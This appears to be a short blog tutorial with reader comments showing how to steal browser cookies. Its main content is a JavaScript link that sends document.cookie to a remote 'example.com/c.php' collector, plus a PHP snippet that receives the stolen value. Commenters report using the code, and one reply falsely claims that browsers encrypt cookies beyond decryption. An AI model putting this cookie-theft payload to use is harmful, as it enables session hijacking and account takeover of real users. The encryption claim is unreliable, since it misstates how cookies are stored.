Steal a cookie is very simple. Just it require one line of code. So, i am showing you how to do this. For this we require client and server script language. I am going to use javascript for client side and php for server.
In javascript we need to use code like as follow:
<a href="javascript:document.location='http://example.com/c.php?c='+escape(document.cookie);" >Hi Click here</a>.
In above code , document.cookie is used get the whole cookie. Which will sent to server “example.com” . To save the cookie we require sever script language. So, for that we require php. The code will be like following
if(isset($_GET[‘c’]))
{
echo $_GET[‘c’];
}
So, it is very dangerous to click any link. It can be contain as such malfunction code. That’s why site like facebook and orkut not allow to put tag in scrap and comment.
Hi
ReplyDeleteThanks for your tutorials.I was searching the cookie stealing technique.Keep it up.
Hi,
ReplyDeleteThe code worked but the data are encoded.
Can we decode it.
Cookies are manage by browser. Each browser used different encrypt algorithm to protect his cookies, which is totally secure. We can not decrypt it.
ReplyDelete